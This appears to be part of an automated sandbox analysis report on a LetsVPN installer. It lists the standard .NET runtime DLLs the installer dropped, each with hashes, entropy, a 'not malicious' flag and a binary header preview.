Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............N.... ...@....... ..............................l.....@..................................-..O....@...................+...`......L-............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0.......H........ ..4....................,......................................F.(....~....(....6.o.....(....6.o..........*.o........~.....~.....BSJB............v4.0.30319......l.......#~..<.......#Strings.... .......#US.(.......#GUID...8.......#Blob...........GU.........3..................................................8.........*.h...m.h.....Z.....$...........Z...+.\|.....Z...1.Z.....$.....$.......3.D.......\|...F.\|...c.\|.....\|.....\|.....\|.....\|.....\|.....Z...I.\|...}.Z.....Z.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.931910682226578
Encrypted:	false
SSDEEP:	384:7AWxMWYtpwKANynsAw/98E9VF3AM+o05hc:7vBAw/KENAMxEc
MD5:	3A4550B4EAA5BE9635A8CF5E131C5C9B
SHA1:	2A36E204DD2FFB785C6E29D9D8A9CE44E41C50A9
SHA-256:	C3150F991A99712C300EA2D6D201CC8820435901EDFC7F2D6D3631DC6DF91E63
SHA-512:	0087787B7B587854BE0CE5C97825B1D67E67215026C11BC885330792AA9AB80CC4CEE53F410A547AE998FBED037ED5BE0F614907961E989D113540927012E8FB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................._....@..................................(..O....@...................+...`......L'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..\|....................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....D.......#US.H.......#GUID...X...$...#Blob......................3......................................z...........!...\.!...0.....A.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.,...C.G...K.g...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9059125920410835
Encrypted:	false
SSDEEP:	384:MAlcWHaWvKpwKANynsAw/98E9VF3AM+oj35hp:l9jAw/KENAMxVf
MD5:	361D41D8F1F07906BDE089C94843158D
SHA1:	A17D4F88FFFE696562FD32C0C3943991EE1576E4
SHA-256:	BEF84DD0B858D01B7C898123D317C29C0C0CA3478DB4BD6730FB7ADA669BEC30
SHA-512:	C379B389A4EF2B247D3C02F570A9F588696785EC192458033D7BC0F77895BD4110F6C73ECAF3E77A598F96B1B6D7A6D455F38EEF9D9DDF534F937741D9A34E3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....p.......#US.t.......#GUID...........#Blob......................3............................................................`.....1.....t.................s.....).....B.................].........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.838816731651097
Encrypted:	false
SSDEEP:	384:mTIZnWlNWezpwKANynsAw/98E9VF3AM+oFZl2Gz:GUyYAw/KENAMxJz
MD5:	4550792542C63094619622171E3C054D
SHA1:	C7975AE3610B6C59C20AA7ED72CBA791899672E7
SHA-256:	2777056938AE552F488FADB053462C184B3E6D4B29FEFD1EE58A518ED1E9F7BB
SHA-512:	8DA3DDA43A5D2C3D33E2467CAE18C3BD6D86A1547CB2F026EF543A6520550442F34FF7794F76E6A942ADAE8F3FB7F2C17CEFA81C52361D30CE129E9F93D70940
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............2... ...@....... ...............................a....@..................................)..O....@..P................+...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...\...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................t...................................=.....V.................q.....Z...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26600
Entropy (8bit):	6.549745891932712
Encrypted:	false
SSDEEP:	384:0lQnCMi33333333kj8xe+5PTYM3zUy+CezHjzgKj0uRWOdWmWJdWwApwKANynsAs:yQq33333333kX+TBi8FAw/KENAMx3
MD5:	5034E9355F31E37FAFD1C61CA444683E
SHA1:	A57102C41A2E6E8A9C0F264CDC901DFE5418384B
SHA-256:	F1042347072E49C6A00F8F24ABE38EA0C557DECC135B6F2DB48C627CF178A746
SHA-512:	293D58075357259794D053DF2F01C39FF9CA6D05EFF5E05DD3C224547FA603E8D40E9E1D7A366711DDB2185007514FBE660B904623F8B86A227B194B9A2F922D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............RM... ...`....... ....................................@..................................L..O....`..x............<...+..........PL............................................... ............... ..H............text...X-... ...................... ..`.rsrc...x....`.......0..............@..@.reloc...............:..............@..B................3M......H.......8...!...................K.......................................0..H........(.....-.r...ps....z.-.r...ps....z.(......}......(#...}.....{.....o...."..(........0..Z.............%.r#..p.%..{.....%.rA..p.%..{..........%.rS..p.%..{....l.{....l[...ra..p(.....(....&...{.....0..4.................}......+....{.....".......X.....{.....i2..0..k..........{........{..........."....(.......X....{.....i.0%.(..........(.....(.......,..(........"....3.....}....*.......=..M......

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	55272
Entropy (8bit):	5.900626916792861
Encrypted:	false
SSDEEP:	1536:8JbgUxvrIn01EkO/69KzwmOiGeCcSP8UIrDAwrxe:81xvrInsEkO/AKzwm3C0UODhg
MD5:	689032F264346A94F2EFE676D797FB88
SHA1:	EAE2E0F39A499089EF3827EA1598D50898DC792A
SHA-256:	C2D38D015AA22D59F2159408075883CAC1B902BC4EECE170A12095FA983FF116
SHA-512:	32093F3F96E3AD62F444EFD1068C6AFB3C9E8953186B8A3D89C6F10B6613973BC4212A9B956753DF25D83128FEB58931F5F9F125483A105D621996F2C305EE1D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0.............n.... ........... ..............................?,....`.....................................O........................+..........8...T............................................ ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................O.......H........)...\...............6...........................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.905329079129804
Encrypted:	false
SSDEEP:	384:/28YFlXulWY/W3ypwKANynsAw/98E9VF3AM+ohHpSmd5kt:/0qqAw/KENAMxhJSmot
MD5:	A8634436A0BC5D272D023ACE72EF6959
SHA1:	9F1B7980EC924D0616D59AD28CDFCC1C1A839C1F
SHA-256:	F635D498E723FB968A7EAA95E5564CC9A77A77046071EED4C0C7C69036B56451
SHA-512:	1EE356541F1AE8DC43E5CAA72377E2DC050C9B29545B7B36EC2143B44DBF7824359650A64DCE4FB21A1F299BD657E3F9F1828BFDB6A7183DD0077E1810583A72
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@.. ................+...`......t'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~..,...P...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................~.....R..... .....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	17384
Entropy (8bit):	6.79150562858462
Encrypted:	false
SSDEEP:	384:2uMLcdQ5MW9MWtNpwKANynsAw/98E9VF3AM+ojzVHu:LOcSpgAw/KENAMxQ
MD5:	E06B61339229A0A9308D6CDA9122380B
SHA1:	81CC02F1B090C3C137813F10D33C59101117F19C
SHA-256:	D74F95419BDA91BCC54428BEA8ED6F2A3B41A2F3F3F273E48A29F92669A59231
SHA-512:	1100C5D29EF8688DED4F26AA26A3C18E425C0039E3286E148BED2867314105E40081CC9F847605F98E1C593DADAA200320817A358CDA6EA5433CE35F543034A6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............,... ...@....... ....................................@..................................+..O....@...................+...`...................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P .............................................................BSJB............v4.0.30319......l.......#~..p...0...#Strings............#US.........#GUID...........#Blob......................3................................................;.........................$.....$.....$.....$...[.$...t.$.....$.....$.........g.$.....#...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.866265875014329
Encrypted:	false
SSDEEP:	384:vZ7RqXWDRqlRqj0RqFWzapwKANynsAw/98E9VF3AM+o86luOy/3e:x9qKqjqjuq0Aw/KENAMxqe
MD5:	552E2E95235E7AEA3AB4D5106B66CC8F
SHA1:	52749321CA826CE32F892D2FACF053445E8DF58B
SHA-256:	CB7737E253D6D9182DF83B54DDD98034E4652A691B0DC0FCFA3971F5ACE00833
SHA-512:	C5BC008D5621FAB4226D6BB9E066E8C9E63F200E034C716D785C2495F48A8F4DBA6FD369AB5E3D34C78F8F50E22B3FF249C4D5095FC5EDE53C150DB66E1787C7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................X..O....@..P................+...`...... )............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ..P....................(......................................BSJB............v4.0.30319......l...L...#~......l...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0.....%.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.684112746735289
Encrypted:	false
SSDEEP:	384:PNBMbljRC+lgfS1RPWYR1Rw0R9WYRPWYRDRj0R9WW0pwKANynsAw/98E9VF3AM+P:PvMhF2SzNzwu/NljuHAw/KENAMxSN
MD5:	4CA24D89C5A6DC157E0A3F5FE569DC3F
SHA1:	352D52544989632075AD6979EF6FC4DC21D6AE8A
SHA-256:	ADE7F4A02B90EC046B8E28837D28CED17C38E4FAACD451833F4E4FD8CC14850A
SHA-512:	E56F29322BFF81F832E04C025CAC53220F007F4E831ADFAFECCD222971B18B6C383837F49F47A4F195BB9F34F0E3AC33CD6F7D66E06D7FDA3C1686A1B84A1705
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............6... ...@....... ...............................0....@.................................a6..O....@...............&...+...`.......5............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................6......H........"..H............4......(5........................................o...."..o......o...."..o....j~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(.......0..K........-.r1..ps....z. ...@3.(..... ....3.(....*. ...._,.(....rI..ps..

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9524284524501185
Encrypted:	false
SSDEEP:	384:TZ4RLWdRfRJ0RZWuTpwKANynsAw/98E9VF3AM+oTEeygsJ:TZK0pJucAw/KENAMxAVg6
MD5:	3A50AAF4EC343B88ACC10F59C187E16F
SHA1:	BF6EE730359B2ED2DC0B24FAED1DCCC07982053F
SHA-256:	D08709FFF794C82D6142F7BE64DAA96EB190244BB1816222167FF3FDFA7439C0
SHA-512:	EFB911533062B823C56FB4C1D6DF8E02006399904C96540905D8010903ADCF6A6B214D0E4A3F98E71B5CCFDBF1EF2BD1CFBBF965E267B6BB9DAA0BCC3F785F20
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................h.....@..................................)..O....@...................+...`......h(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3......................................................m.....A.{.........U.................T...........#.....l...........>.....'...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.853001096633939
Encrypted:	false
SSDEEP:	384:kYWsmW9VpwKANynsAw/98E9VF3AM+o2DJKrP:k26Aw/KENAMxiyP
MD5:	00BC2B6B3B4DC2C838C6044165B2BCA1
SHA1:	194B35894C238E9C07F03381D95A83EB41370DF0
SHA-256:	AD0B8F872A39661BEA96D21951B42F732BA1C666AB14C246271D734B0F9900B4
SHA-512:	DD4221AB70A39477D474A8780E6BEF36FCAC1C1A7CE275CDD4171B2E00044B2D78333419626E0D99A7F3AB1DF9EB8A9E2E24BB40B3E3494F4D568077D0C24082
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*(... ...@....... ....................................@..................................'..O....@..@................+...`.......&............................................... ............... ..H............text...0.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ...................... &......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................z.....N.....".....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........:.....C.....b...#.k...+.k...3.k...;.....C.....K.....S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	105960
Entropy (8bit):	6.3980318072931635
Encrypted:	false
SSDEEP:	1536:Avc/U5yNq2oS4Zd0LE3YigSFvhoZO2K3aAYH2TfXmNoJXUAwrx7:Igk1tiLMYiDFvxqrWDWNoJXUht
MD5:	7247035215659F364A9E1B0DA48F026E
SHA1:	D44B54FC1536C5BA97704F2C96AA41AFA068F22F
SHA-256:	323A5C9BB09F13197CFD1D70B8889D7BA177708665A6649D78E667F03BA1D6AB
SHA-512:	1BFAB9A14DFF325E9D2C17EE49805A12FBAA68E1B4EA84618A24574D37551865F701974D20DF693C9692D3F650DB072BE72A5C72A1A2D95A84CFE06E7F9FC24F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..d...........W... ........... ..............................%S....@.................................5W..O....................r...+...........V............................................... ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............p..............@..B................iW......H........................9.......V......................................j~....%-.&(I...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r7..p.(....2rs..p.(....2r...p.(....2r...p.(....2r...p.(....2r=..p.(....2r_..p.(....2r...p.(....2r...p.(....*2r...

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30696
Entropy (8bit):	6.437349251984308
Encrypted:	false
SSDEEP:	384:8mjoB5y+MLi9VYp/OiRc715ZkSAcE1l2Yd5zqNz8TWgVbW0YpwKANynsAw/98E9p:DCN9VYp/OiRcnZIfk8PLAw/KENAMx84V
MD5:	50B1CBCFE5A7BCD2432873CB68256840
SHA1:	B3351E416FE20887790EFF62EB1D7BA12C88A0B4
SHA-256:	178D18A1581ED4210B4371F43E72474856E783B9474B9E10A0CFA1B0BCE1D2AC
SHA-512:	6A23D4252D5676EA5049AC69C29272C13BEEB2A6B84533FC8C3555F9F67D6E81C841074EFA708A44BAEDC1395A5244BC2AD9ED63A9580939A840F35044AC44BF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...._............" ..0..B...........`... ........... ..............................Z.....`.................................t`..O....................L...+..........l_..T............................................ ............... ..H............text....@... ...B.................. ..`.rsrc................D..............@..@.reloc...............J..............@..B.................`......H........&..t)...........P.......^........................................(....^.(.......(...%...}....:.(......}....:.(......}....:.(......}.....~.....0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.9120192483587095
Encrypted:	false
SSDEEP:	384:5Kcuz1W1cWkVpwKANynsAw/98E9VF3AM+oVHKB:ju8BAw/KENAMxi
MD5:	4C1252D60E69975F134749D98AAE7BF1
SHA1:	301AF29754DB69E9C6B9A1F51EF5596C289C81FC
SHA-256:	C9DA462E07CAA610D558B5409A76E283232453E20775010297704B7FD165CC8F
SHA-512:	F67BFDF65FB9DFE1834FE728DEB38B996AA11F29FAA41BB9522E0230B5A297A7D7F23F8EAE9C3FD4DCCB4864D5669CB3B09ED674AF92A8B3A066B7D1E1FBE520
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................+...`......H'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..x....................&......................................BSJB............v4.0.30319......l.......#~......H...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................................p.....D.....9.....X.................W...........&.....o...........A.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.915701572831014
Encrypted:	false
SSDEEP:	384:h+SWikWRLpwKANynsAw/98E9VF3AM+oVfWYf2Zi:h+eSAw/KENAMxo0ii
MD5:	768E795DCBA5ECB7C19405C2D0B76192
SHA1:	4BCBB19307AB780BB88368E5C2518E82813D728F
SHA-256:	03C7419B86A770DCFB6A498C082E2EAFF774914443F3E234030EA697969D393E
SHA-512:	658BCAEA968FAAA22DA1BBEFEA4D584A10B021DAE6FBBD86CA9ACA236CB114F9E359E2062248DABB74FE48EFDE5211B738539884FD3582696D06A55A8019DCB9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ..............................e.....@..................................(..O....@..P................+...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....h.......#US.l.......#GUID...\|.......#Blob......................3......................................................y.....M...........a.................`.........../.....x...........J.....3...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.95803756202855
Encrypted:	false
SSDEEP:	384:mAWzgWrnvpwKANynsAw/98E9VF3AM+omHs2Tojo:mtkAw/KENAMxW1t
MD5:	43FDDAE5615134C7C7CFF1ED626BE3D1
SHA1:	AAC4C804F1163324A4FF971467E5F3C06474DC07
SHA-256:	0959B36DACC9C10C8A0E1F56D6CA71D157798D3D35F03EFE271681C655CA9F9A
SHA-512:	7442210B136734C77809BD4C1FEA00A2C0FE47803AB797C4C6C146BAEDECF6267A1FC6140BE7A8E97274D5378BCCB490FB39C6E026DD3FA44FBB81E6DF690798
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................p)..O....@..@................+...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................C...f.C...:.0...c.....N.................M.................e...........7..... ................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.9...K.Y...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.916341452717303
Encrypted:	false
SSDEEP:	384:SBLRWbYW+EpwKANynsAw/98E9VF3AM+oYH+eldn:SB26Aw/KENAMxYdn
MD5:	5C690CE5296DF97EC7DDA8C31813D4C6
SHA1:	0B6AED473753A8102CFFFAE521C2868784104A8D
SHA-256:	B3A4497DE0831383956484815185AE3A3500A04024988D3C369036CC685C1992
SHA-512:	FC17E215B9315D76DCB809EA6F84643001DE2488ABE1FA2B6E70C6CE8C0BF575E58ADF0334FC10968529924C8FE46D4BB3D2450E5A674958AECC8207BA0E53A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............b)... ...@....... ..............................@.....@..................................)..O....@...................+...`.......'............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US.........#GUID...........#Blob......................3................................................../...z./...N.....O.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.907423713499948
Encrypted:	false
SSDEEP:	384:aHW4/WU4EpwKANynsAw/98E9VF3AM+om7CAyyhlnRy:ari5Aw/KENAMxKCXyhlnRy
MD5:	6619081571A33A10323FFCB6F62F97AF
SHA1:	446B905A6231EE7068C5A469407D024BD72C4E18
SHA-256:	335EB2A8D88AAC31BC001FBB494C20E6A1EF64B8A3AE6977E6FFDCC98FB7A172
SHA-512:	FE7500D63F5F4DDB6E1E14751F526833D03019C0E7357741B926A20D6E880B94A989B83DFC074DA3BCF91B67D693546773D67F92E62B9541901E0C719186AD6A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................+...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\...#Strings....`.......#US.d.......#GUID...t.......#Blob......................3..................................................+.....+...^.....K.....r.................q.....'.....@.................[.....D...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.MemoryMappedFiles.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.960962234154388
Encrypted:	false
SSDEEP:	384:5vk7hWmCWT6pwKANynsAw/98E9VF3AM+oPy877:5s7/nAw/KENAMxx
MD5:	F1E0BCB969F660A0694A631700C1C74C
SHA1:	6DDF8D3FF19D3EDFFB69B45B2EF4FEFACBAE7785
SHA-256:	0D5C7570AB3351291F3E89FD7FF2FF920B8A0BF5056D9EBC347771A012BABA75
SHA-512:	DBDC45285556BFD0F886C8A796E759600B65922544317FA273B07DDF29CAA3DCBA4BB511973ED6AA524AC56F302905500F52329D98289B1301B375CB89CEA26F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ....................................@.................................h)..O....@..0................+...`......0(............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................)......H.......P ..`....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....8.......#US.<.......#GUID...L.......#Blob......................3................................................ .C.....C...w.0...c.............................@.....Y.................t.....]................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.8...K.X...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48104
Entropy (8bit):	5.956440090685503
Encrypted:	false
SSDEEP:	768:Dxua7db+smzMnSzBt++0YfTF61O+luv5tyIAw/KENAMxtRl4:DxH7ssKugt+++1luv5tyIAwrxtQ
MD5:	7DE684000FD09F0A319782CDE7FB4098
SHA1:	5F6DE103DF572A76DB475146E1DEE12610060949
SHA-256:	B2A59B165E0BA461530C69747A0220B977382A3FBB5D4EC1892EB501FE236CC7
